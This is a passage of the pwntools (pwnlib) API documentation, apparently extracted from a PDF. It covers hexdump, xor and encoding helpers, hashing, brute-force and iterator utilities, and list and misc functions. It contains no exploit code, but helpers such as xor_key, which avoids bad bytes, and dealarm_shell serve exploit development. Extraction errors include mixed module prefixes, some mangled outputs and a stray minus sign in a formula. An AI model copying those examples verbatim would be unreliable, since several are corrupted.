>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00
↳ '*32, cyclic=1)
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  _
↳ |aaaa|baaa|caaa|daaa|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳ |XXXX|XXXX|XXXX|XXXX|
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  _
↳ |maaa|naaa|oaaa|paaa|
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  _
↳ |qaaa|raaa|saaa|taa·|
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  _
↳ |....|....|....|....|
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  _
↳ |...a|zaab|baab|caab|
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  _
↳ |daab|eaab|faab|gaab|
*
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  _
↳ |....|....|....|....|
*
000000e0

```

```

>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00
↳ '*32, cyclic=1, hexii=1)
00000000  .a .a .a .a  .b .a .a .a  .c .a .a .a  .d .a .a .a  |
00000010  .X .X .X .X  .X .X .X .X  .X .X .X .X  .X .X .X .X  |
*
00000030  .m .a .a .a  .n .a .a .a  .o .a .a .a  .p .a .a .a  |
00000040  .q .a .a .a  .r .a .a .a  .s .a .a .a  .t .a .a ##  |
00000050  ## ## ## ##  ## ## ## ##  ## ## ## ##  ## ## ## ##  |
00000060  ## ## ## .a  .z .a .a .b  .b .a .a .b  .c .a .a .b  |
00000070  .d .a .a .b  .e .a .a .b  .f .a .a .b  .g .a .a .b  |
*
000000c0  |
*
000000e0

```

```
>>> print hexdump('A'*16, width=9)
00000000 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|A|
00000009 41 41 41 41 41 41 41 |AAAA|AAA|
00000010

>>> print hexdump('A'*16, width=10)
00000000 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AA|
0000000a 41 41 41 41 41 41 |AAAA|AA|
00000010

>>> print hexdump('A'*16, width=11)
00000000 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAA|
0000000b 41 41 41 41 41 |AAAA|A|
00000010

>>> print hexdump('A'*16, width=12)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|
0000000c 41 41 41 41 |AAAA|
00000010

>>> print hexdump('A'*16, width=13)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|A|
0000000d 41 41 41 |AAA|
00000010

>>> print hexdump('A'*16, width=14)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AA|
0000000e 41 41 |AA|
00000010

>>> print hexdump('A'*16, width=15)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAA|
0000000f 41 |A|
00000010
```

```
>>> print hexdump('A'*24, width=16, groupsize=8)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAA|AAAAAAAA|
00000010 41 41 41 41 41 41 41 |AAAAAAAA|
00000018

>>> print hexdump('A'*24, width=16, groupsize=-1)
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 |AAAAAAAA|
00000018
```

`pwntools.util.fiddling.hexdump_iter` (*fd*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*, *groupsize=4*)

`hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False, groupsize=4) -> str generator`

Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use `hexdump()`.

Parameters

- **fd** (*file*) – File object to dump. Use `StringIO.StringIO()` or `hexdump()` to dump a string.
- **width** (*int*) – The number of characters per line
- **groupsize** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column

- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A generator producing the hexdump-dump one line at a time.

Example

```
>>> tmp = tempfile.NamedTemporaryFile()
>>> tmp.write('XXXXHELLO, WORLD')
>>> tmp.flush()
>>> tmp.seek(4)
>>> print '\n'.join(hexdump_iter(tmp))
00000000 48 45 4c 4c 4f 2c 20 57 4f 52 4c 44          |HELL|O, W|ORLD|
0000000c
```

```
>>> t = tube()
>>> t.unrecv('I know kung fu')
>>> print '\n'.join(hexdump_iter(t))
00000000 49 20 6b 6e 6f 77 20 6b 75 6e 67 20 66 75    |I kn|ow k|ung |fu|
0000000e
```

`pwnlib.util.fiddling.hexii(s, width = 16, skip = True) → str`
Return a HEXII-dump of a string.

Parameters

- **s** (*str*) – The string to dump
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Should repeated lines be replaced by a “*”

Returns A HEXII-dump in the form of a string.

`pwnlib.util.fiddling.isprint(c) → bool`
Return True if a character is printable

`pwnlib.util.fiddling.naf(int) → int generator`
Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates z_0, z_1, \dots , then $n == z_0 + z_1 * 2 + z_2 * 2**2, \dots$

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwnlib.util.fiddling.negate` (*value*, *width=None*)

Returns the two's complement of 'value'.

`pwnlib.util.fiddling.randoms` (*count*, *alphabet = string.lowercase*) → str

Returns a random string of a given length using only the specified alphabet.

Parameters

- **count** (*int*) – The length of the desired string.
- **alphabet** – The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10)
'evafjilupm'
```

`pwnlib.util.fiddling.rol` (*n*, *k*, *word_size=None*)

Returns a rotation by *k* of *n*.

When *n* is a number, then means `((n << k) | (n >> (word_size - k)))` truncated to *word_size* bits.

When *n* is a list, tuple or string, this is `n[k % len(n) :] + n[:k % len(n)]`.

Parameters

- **n** – The value to rotate.
- **k** (*int*) – The rotation amount. Can be a positive or negative number.
- **word_size** (*int*) – If *n* is a number, then this is the assumed bitsize of *n*. Defaults to `pwnlib.context.word_size` if *None*.

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

`pwnlib.util.fiddling.ror` (*n*, *k*, *word_size=None*)

A simple wrapper around `rol()`, which negates the values of *k*.

`pwnlib.util.fiddling.unbits` (*s*, *endian = 'big'*) → str

Converts an iterable of bits into a string.

Parameters

- **s** – Iterable of bits
- **endian** (*str*) – The string “little” or “big”, which specifies the bits endianness.

Returns A string of the decoded bits.

Example

```
>>> unbits([1])
'\x80'
>>> unbits([1], endian = 'little')
'\x01'
>>> unbits(bits('hello'), endian = 'little')
'\x16\xa666\xf6'
```

`pwntools.util.fiddling.unhex(s) → str`
Hex-decodes a string.

Example

```
>>> unhex("74657374")
'test'
>>> unhex("F\n")
'\x0f'
```

`pwntools.util.fiddling.urldecode(s, ignore_invalid = False) → str`
URL-decodes a string.

Example

```
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
```

`pwntools.util.fiddling.urlencode(s) → str`
URL-encodes a string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

`pwntools.util.fiddling.xor(*args, cut = 'max') → str`
Flattens its arguments using `pwntools.util.packing.flat()` and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **args** – The arguments to be xor'ed together.
- **cut** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

Example

```
>>> xor('lol', 'hello', 42)
'. ***'
```

`pwnlib.util.fiddling.xor_key` (*data*, *size=None*, *avoid='x00n'*) -> *None* or (*int*, *str*)

Finds a *size*-width value that can be XORed with a string to produce *data*, while neither the XOR value or XOR string contain any bytes in *avoid*.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.
- **size** (*int*) – Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, *None* is returned.

Example

```
>>> xor_key("Hello, world")
('\x01\x01\x01\x01', 'Idmmn-!vnsme')
```

`pwnlib.util.fiddling.xor_pair` (*data*, *avoid = 'x00n'*) -> *None* or (*str*, *str*)

Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then *None* is returned.

Example

```
>>> xor_pair("test")
('\x01\x01\x01\x01', 'udru')
```

2.34 pwnlib.util.hashes — Hashing functions

Functions for computing various hashes of files and strings.

`pwnlib.util.hashes.md5file` (*x*)
Calculates the md5 sum of a file

`pwnlib.util.hashes.md5filehex` (*x*)
Calculates the md5 sum of a file; returns hex-encoded

`pwnlib.util.hashes.md5sum` (*x*)
Calculates the md5 sum of a string

`pwnlib.util.hashes.md5sumhex(x)`
Calculates the md5 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha1file(x)`
Calculates the sha1 sum of a file

`pwnlib.util.hashes.sha1filehex(x)`
Calculates the sha1 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha1sum(x)`
Calculates the sha1 sum of a string

`pwnlib.util.hashes.sha1sumhex(x)`
Calculates the sha1 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha224file(x)`
Calculates the sha224 sum of a file

`pwnlib.util.hashes.sha224filehex(x)`
Calculates the sha224 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha224sum(x)`
Calculates the sha224 sum of a string

`pwnlib.util.hashes.sha224sumhex(x)`
Calculates the sha224 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha256file(x)`
Calculates the sha256 sum of a file

`pwnlib.util.hashes.sha256filehex(x)`
Calculates the sha256 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha256sum(x)`
Calculates the sha256 sum of a string

`pwnlib.util.hashes.sha256sumhex(x)`
Calculates the sha256 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha384file(x)`
Calculates the sha384 sum of a file

`pwnlib.util.hashes.sha384filehex(x)`
Calculates the sha384 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha384sum(x)`
Calculates the sha384 sum of a string

`pwnlib.util.hashes.sha384sumhex(x)`
Calculates the sha384 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha512file(x)`
Calculates the sha512 sum of a file

`pwnlib.util.hashes.sha512filehex(x)`
Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha512sum(x)`
Calculates the sha512 sum of a string

`pwnlib.util.hashes.sha512sumhex(x)`
Calculates the sha512 sum of a string; returns hex-encoded

2.35 pwnlib.util.iters — Extension of standard module itertools

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.bruteforce` (*func*, *alphabet*, *length*, *method* = 'upto', *start* = None)

Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- **func** (*function*) – The function to bruteforce.
- **alphabet** – The alphabet to draw symbols from.
- **length** – Longest string to try.
- **method** – If 'upto' try strings of length `1 .. length`, if 'fixed' only try strings of length `length` and if 'downfrom' try strings of length `length .. 1`.
- **start** – a tuple (*i*, *N*) which splits the search space up into *N* pieces and starts at piece *i* (`1..N`). `None` is equivalent to `(1, 1)`.

Returns A string *s* such that `func(s)` returns `True` or `None` if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hlllo', 5) is None
True
```

`pwnlib.util.iters.mbruteforce` (*func*, *alphabet*, *length*, *method* = 'upto', *start* = None, *threads* = None)

Same functionality as `bruteforce()`, but multithreaded.

Parameters

- **alphabet**, **length**, **method**, **start** (*func*,) – same as for `bruteforce()`
- **threads** – Amount of threads to spawn, default is the amount of cores.

`pwnlib.util.iters.chained` (*func*)

A decorator chaining the results of *func*. Useful for generators.

Parameters **func** (*function*) – The function being decorated.

Returns A generator function whose elements are the concatenation of the return values from `func(*args, **kwargs)`.

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
```

(continues on next page)

(continued from previous page)

```
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

`pwnlib.util.iters.consume` (*n*, *iterator*)

Advance the iterator *n* steps ahead. If *n* is `:const:None`, consume everything.

Parameters

- **n** (*int*) – Number of elements to consume.
- **iterator** (*iterator*) – An iterator.

Returns `None`.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> next(i)
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
```

`pwnlib.util.iters.cyclen` (*n*, *iterable*) → *iterator*

Repeats the elements of *iterable* *n* times.

Parameters

- **n** (*int*) – The number of times to repeat *iterable*.
- **iterable** – An iterable.

Returns An iterator whose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

`pwnlib.util.iters.dotproduct` (*x*, *y*) → *int*

Computes the dot product of *x* and *y*.

Parameters

- **x** (*iterable*) – An iterable.
- **y** – An iterable.

Returns The dot product of *x* and *y*, i.e. $-x[0] * y[0] + x[1] * y[1] + \dots$

Example

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

`pwntools.util.iters.flatten(xss)` → iterator

Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whose elements is the concatenation of the elements of *xss*.

Parameters *xss* – An iterable of iterables.

Returns An iterator whose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

`pwntools.util.iters.group(n, iterable, fill_value = None)` → iterator

Similar to `pwntools.util.lists.group()`, but returns an iterator and uses `itertools` fast build-in functions.

Parameters

- *n* (*int*) – The group size.
- *iterable* – An iterable.
- *fill_value* – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFGF', 'x')]
['ABC', 'DEF', 'Gxx']
```

`pwntools.util.iters.iter_except(func, exception)`

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

Parameters

- *func* (*callable*) – The function to call.
- *exception* (*Exception*) – The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> next(i)
1
>>> next(i)
2
>>> next(i)
3
>>> next(i)
Traceback (most recent call last):
...
StopIteration
```

`pwntools.util.iters.lexicographic(alphabet)` → iterator

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

Parameters *alphabet* – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, imap(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

`pwntools.util.iters.lookahead(n, iterable)` → object

Inspects the upcoming element at index *n* without advancing the iterator. Raises `IndexError` if *iterable* has too few elements.

Parameters

- *n* (*int*) – Index of the element to return.
- *iterable* – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> next(i)
0
>>> i = count()
>>> nth(4, i)
4
>>> next(i)
5
```

(continues on next page)

(continued from previous page)

```
>>> lookahead(4, i)
10
```

`pwntools.util.iters.nth`(*n*, *iterable*, *default = None*) → object

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.
- **default** (*object*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

`pwntools.util.iters.pad`(*iterable*, *value = None*) → iterator

Pad an *iterable* with *value*, i.e. returns an iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.
- **value** – The value to pad with.

Returns An iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

`pwntools.util.iters.pairwise`(*iterable*) → iterator

Parameters **iterable** – An iterable.

Returns An iterator whose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

`pwnlib.util.iters.powerset` (*iterable*, *include_empty = True*) → iterator
The powerset of an iterable.

Parameters

- **iterable** – An iterable.
- **include_empty** (*bool*) – Whether to include the empty set.

Returns The powerset of *iterable* as an iterator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

`pwnlib.util.iters.quantify` (*iterable*, *pred = bool*) → int
Count how many times the predicate *pred* is True.

Parameters

- **iterable** – An iterable.
- **pred** – A function that given an element from *iterable* returns either True or False.

Returns The number of elements in *iterable* for which *pred* returns True.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

`pwnlib.util.iters.random_combination` (*iterable*, *r*) → tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations(iterable, r = r)`.

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_combination_with_replacement** (*iterable*, *r*)
random_combination(iterable, r) -> tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations_with_replacement(iterable, r = r)`.

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

pwnlib.util.iters.**random_permutation** (*iterable*, *r=None*)
random_product(iterable, r = None) -> tuple

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the permutation. If `None` select all elements in *iterable*.

Returns A random element from `itertools.permutations(iterable, r = r)`.

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_product** (**args*, *repeat = 1*) → tuple

Parameters

- **args** – One or more iterables
- **repeat** (*int*) – Number of times to repeat *args*.

Returns A random element from `itertools.product(*args, repeat = repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

`pwntools.util.iters.repeat_func(func, *args, **kwargs) → iterator`

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.

Parameters

- **func** (*function*) – The function to call.
- **args** – Positional arguments.
- **kwargs** – Keyword arguments.

Returns An iterator whose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```
>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
...
TypeError: f() takes exactly 0 arguments (1 given)
```

`pwntools.util.iters.roundrobin(*iterables)`

Take elements from *iterables* in a round-robin fashion.

Parameters **iterables* – One or more iterables.

Returns An iterator whose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

`pwntools.util.iters.tabulate` (*func*, *start* = 0) → iterator

Parameters

- **func** (*function*) – The function to tabulate over.
- **start** (*int*) – Number to start on.

Returns An iterator with the elements `func(start)`, `func(start + 1)`, ...

Examples

```
>>> take(2, tabulate(str))
['0', '1']
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

`pwntools.util.iters.take` (*n*, *iterable*) → list

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Number of elements to take.
- **iterable** – An iterable.

Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

`pwntools.util.iters.unique_everseen` (*iterable*, *key* = None) → iterator

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not None then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

`pwnlib.util.iters.unique_justseen(iterable, key=None)`
`unique_everseen(iterable, key = None) -> iterator`

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be remembered is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

`pwnlib.util.iters.unique_window(iterable, window, key=None)`
`unique_everseen(iterable, window, key = None) -> iterator`

Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not `None` then for each element `elm` in *iterable* the element that will be remembered is `key(elm)`. Otherwise `elm` is remembered.

Parameters

- **iterable** – An iterable.
- **window** (*int*) – The number of elements to remember.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

`pwnlib.util.iters.chain()`
 Alias for `itertools.chain()`.

`pwnlib.util.iters.combinations()`
Alias for `itertools.combinations()`

`pwnlib.util.iters.combinations_with_replacement()`
Alias for `itertools.combinations_with_replacement()`

`pwnlib.util.iters.compress()`
Alias for `itertools.compress()`

`pwnlib.util.iters.count()`
Alias for `itertools.count()`

`pwnlib.util.iters.cycle()`
Alias for `itertools.cycle()`

`pwnlib.util.iters.dropwhile()`
Alias for `itertools.dropwhile()`

`pwnlib.util.iters.groupby()`
Alias for `itertools.groupby()`

`pwnlib.util.iters.ifilter()`
Alias for `itertools.ifilter()`

`pwnlib.util.iters.ifilterfalse()`
Alias for `itertools.ifilterfalse()`

`pwnlib.util.iters.imap()`
Alias for `itertools.imap()`

`pwnlib.util.iters.islice()`
Alias for `itertools.islice()`

`pwnlib.util.iters.izip()`
Alias for `itertools.izip()`

`pwnlib.util.iters.izip_longest()`
Alias for `itertools.izip_longest()`

`pwnlib.util.iters.permutations()`
Alias for `itertools.permutations()`

`pwnlib.util.iters.product()`
Alias for `itertools.product()`

`pwnlib.util.iters.repeat()`
Alias for `itertools.repeat()`

`pwnlib.util.iters.starmap()`
Alias for `itertools.starmap()`

`pwnlib.util.iters.takewhile()`
Alias for `itertools.takewhile()`

`pwnlib.util.iters.tee()`
Alias for `itertools.tee()`

2.36 `pwnlib.util.lists` — Operations on lists

`pwnlib.util.lists.concat(l)` → list
Concat a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

`pwntools.util.lists.concat_all(*args)` → list
Concat all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [[[4, 5, 6]]])
[0, 1, 2, 3, 4, 5, 6]
```

`pwntools.util.lists.findall(l, e)` → list
Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> next(foo)
3
>>> next(foo)
4
>>> next(foo)
6
```

`pwntools.util.lists.group(n, lst, underfull_action = 'ignore', fill_value = None)` → list
Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in `fill_value`.

Parameters

- **n** (*int*) – The size of resulting groups
- **lst** – The list, tuple or string to group
- **underfull_action** (*str*) – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.
- **fill_value** – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFGG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFGG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFGG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFGG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

`pwnlib.util.lists.ordlist(s) → list`
Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

`pwnlib.util.lists.partition(lst, f, save_keys = False) → list`
Partitions an iterable into sublists using a function to specify which group they belong to.
It works by calling *f* on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **lst** – The iterable to partition
- **f** (*function*) – The function to use as the partitioner.
- **save_keys** (*bool*) – Set this to True, if you want the `OrderedDict` returned instead of just the values

Example

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
```

`pwnlib.util.lists.unordlist(cs) → str`
Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.37 pwnlib.util.misc — We could not fit it any other place

`pwnlib.util.misc.align(alignment, x) → int`
Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

`pwnlib.util.misc.align_down(alignment, x) → int`
Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

`pwnlib.util.misc.binary_ip(host)` → str
Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
'\x7f\x00\x00\x01'
```

`pwnlib.util.misc.dealarm_shell(tube)`
Given a tube which is a shell, dealarm it.

`pwnlib.util.misc.mkdir_p(path)`
Emulates the behavior of `mkdir -p`.

`pwnlib.util.misc.parse_ldd_output(output)`
Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

Parameters `output` (*str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output('''
...     linux-vdso.so.1 => (0x00007ffffbf5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_
↳64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
```

`pwnlib.util.misc.read(path, count=-1, skip=0)` → str
Open file, return content.

Examples

```
